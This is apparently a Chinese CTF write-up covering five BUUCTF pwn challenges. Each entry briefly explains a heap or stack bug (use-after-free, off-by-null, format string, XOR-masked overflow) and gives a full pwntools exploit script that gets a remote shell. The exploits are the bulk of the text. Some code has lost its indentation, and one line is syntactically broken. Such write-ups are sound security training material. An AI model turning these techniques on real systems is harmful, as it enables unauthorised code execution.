176 jarvisoj_itemboard
进来先申请了一块chunk。
add
结构简单,但是用了buf做缓冲,在description那里有明显溢出。
list
只支持输出名字。
show
输出细节
free
但是没有清理指针,造成uaf。
我们就直接通过uaf做就好了。
这道题的uaf也不大一样,以前我们的uaf都很随意,只是用到fastbin chunk而已,但是在这个题里面,因为没有edit函数,导致我们不能即使修改了chunk指针,也因为没法覆写导致不能劫持got表,于是我们在这个题的uaf中引入了全新的unsorted bin。
思路是这样的。
因为chunk中有一个是free函数,所以我们只要把他覆盖掉,覆盖成system就好。我们还需要泄露libc地址,我们可以通过泄露got表,也可以简单点用unsorted bin。
exp
from pwn import *
context.log_level="debug"
r = remote("node3.buuoj.cn", 28946)
elf = ELF("./176")
libc = ELF("./64/libc-2.23.so")
def add(name,num,data):
r.sendlineafter('choose:\n', '1')
r.sendlineafter('Item name?\n', name)
r.sendlineafter("Description's len?\n", str(num))
r.sendlineafter('Description?\n', data)
def show(index):
r.sendlineafter('choose:\n', '3')
r.sendlineafter('Which item?\n', str(index))
def remove(i):
r.sendlineafter('choose:\n', '4')
r.sendlineafter('Which item?\n', str(i))
add('a'*16,128,'a'*16) #0
add('b'*16,128,'b'*16) #1
add('c'*16,128,'c'*16) #2
remove(0)
show(0)
r.recvuntil('Description:')
main_arena_88 = u64(r.recv(6).ljust(8, "\x00"))
malloc_hook = (main_arena_88 & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_addr= malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_addr + libc.sym['system']
print 'libc_addr = ',hex(libc_addr)
remove(1)
add('c'*16,24,'/bin/sh;aaaaaaaa'+p64(system_addr))
remove(0)
r.interactive()
177 asis2016_b00ks
进来首先能往bss上读个名字。
要注意这种自己写的read函数,像这个函数里面就有明显的off by null漏洞。
add里面这两个地方,name跟description都可以溢出。
结构简单。
delete
指针啥的都清理干净了。
edit
把内容改改。
把乱七八糟东西都输出
把之前bss上面的东西改改。
所以我们就通过off by null造吧,看怎么整。
先来好好瞅瞅结构
很清晰,bss上面两个地址,两个地址又指向bss,一个名字,一个addr_array。
每次create就是三个chunk,其中信息都放在第三个chunk中,分别是序号,两个地址,des的大小。
漏洞是哪里的输入都可以有一个off by null。我们的第一想法是因为地址其实都在bss上面,而且堆的写功能也有,能不能通过unlink控制到bss,从而达到利用效果。
但是问题就是需要我们泄露地址,泄露栈地址。泄露不了。
我们考虑去制造overlap去攻击malloc_hook,但是因为在栈上的数据不满足我们one_gadget的要求,而且我们再怎么去通过realloc去抬栈,都没有用,所以这个方式也行不通
我们在这道题可以去利用off by one,通过写名字的时候多写一个字节,讲addr_array的最后一字节改成’\x00’,然后要事先在我们改好的地址那个地方实现伪造一个chunk,从而达到泄露地址,利用等等目的。最后我们选择泄露地址之后将free_hook改正system来达到目的。
# -*- coding: utf-8 -*-
from pwn import*
r = remote("node3.buuoj.cn", "29424")
#r = process("./1771")
context.log_level = "debug"
elf = ELF("./1771")
libc = ELF("./64/libc-2.23.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
def add(name_size,name,content_size,content):
r.sendlineafter('> ', '1')
r.sendlineafter('size: ', str(name_size))
r.sendlineafter('chars): ', name)
r.sendlineafter('size: ', str(content_size))
r.sendlineafter('tion: ', content)
def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ', str(index))
def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ', str(index))
r.sendlineafter('ption: ', content)
def show():
r.sendlineafter('> ', '4')
def change(name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ', name)
r.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') #1
show()
r.recvuntil('aaab')
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print "heap_addr = " + hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd') #2
add(0x10,'eeeeeeee',0x10,'ffffffff') #3
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90 + 0xe0 + 0x10)+p64(0x20))
change('a'*0x20)
show()
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_addr = " + hex(libc_base)
print "malloc_hook = " + hex(malloc_hook)
edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system_addr))
add(0x60,'/bin/sh\x00',0x60,'/bin/sh\x00')
delete(4)
r.interactive()
178 actf_2019_onerepeater
有格式化字符串。
要注意返回的时候调用规则跟平常的不大一样。
我们的思路就是给了栈地址,就计算出返回地址,通过格式化字符串讲返回地址改成栈地址之后,讲shellcode写进栈里,跳过去执行。
因为是32位的,我们结合着模板,就搞定了。
from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn","28488")
r.sendlineafter("3) Exit\n","1")
stack_addr = int((r.recv(8)), 16)
print "stack_addr = " + hex(stack_addr)
ret_addr = stack_addr + 0x418 + 4
payload = fmtstr_payload(16{ret_addr:stack_addr})
r.sendline(payload)
r.sendlineafter("3) Exit\n","2")
r.sendlineafter("3) Exit\n","1")
r.sendline(asm(shellcraft.sh()))
r.sendlineafter("3)Exit\n","3")
r.interactive()
179 ciscn_2019_s_8
先读入了0x200.
然后strcpy导致了溢出。
但是下面会对我们的输入进行异或操纵,所以我们输入rop的时候要先进行一下异或。
我们写rop也可以用ROPgadget
ROPgadget --binary ./179 --ropchain
from pwn import *
from struct import pack
context.log_level='debug'
def encrypt(data):
crypto = ''
for i in data:
crypto += chr(ord(i) ^ 0x66)
return crypto
r = remote('node3.buuoj.cn','26395')
def payload():
p = 'a' * 0x50
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall
return p
payload = payload()
r.sendline(encrypt(payload))
r.interactive()
我们发现这样的exp有问题,找到问题后发现是因为我们的payload太长了……
怎样缩短呢?我们可以考虑从最后面的add rax,1尝试下手。
我们找到了add eax,3, 所以我们就把payload里面替换一下就行。
from pwn import *
from struct import pack
context.log_level='debug'
def encrypt(data):
crypto = ''
for i in data:
crypto += chr(ord(i) ^ 0x66)
return crypto
r = remote('node3.buuoj.cn','26395')
def payload():
p = 'a'*0x50
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000474bf8) # add rax, 2 ; ret
p += pack('<Q', 0x000000000040139c) # syscall
return p
payload = payload()
r.sendline(encrypt(payload))
r.interactive()
180 starctf_2019_girlfriend
构造结果。
show
输出名字 电话
edit没啥用。
delete
直接造成了uaf。
我们就是通过uaf常规思路,泄露地址,然后利用起来。
通过double free,攻击malloc_hook - 0x23,再调整栈结构。
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',29601)
#r = process("./180")
elf=ELF('./180')
libc = ELF("./64/libc-2.23.so")
def add(size,name):
r.sendlineafter(':','1')
r.sendlineafter('name',str(size))
r.sendlineafter('name:',name)
r.sendlineafter('call:',"123456")
def show(idx):
r.sendlineafter(':','2')
r.sendlineafter('index:',str(idx))
def delete(idx):
r .sendlineafter(':','4')
r .sendlineafter('index:',str(idx))
add(0x80,'aaaa') #0
add(0x68,'aaaa') #1
add(0x68,'aaaa') #2
add(0x20,'aaaa') #3
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1147
realloc = libc_base + libc.sym['__libc_realloc']
print "libc_base = " + hex(libc_base)
add(0x80,'aaaa')#0
delete(1)
delete(2)
delete(1)
#double free
add(0x68,p64(malloc_hook-0x23))
add(0x68, 'aaaa')
add(0x68, 'aaaa')
add(0x68, 'a' * 0xb + p64(one_gadget) + p64(realloc + 2))
r.sendlineafter(':','1') #这里只能写一句,不然会报错。
r.interactive()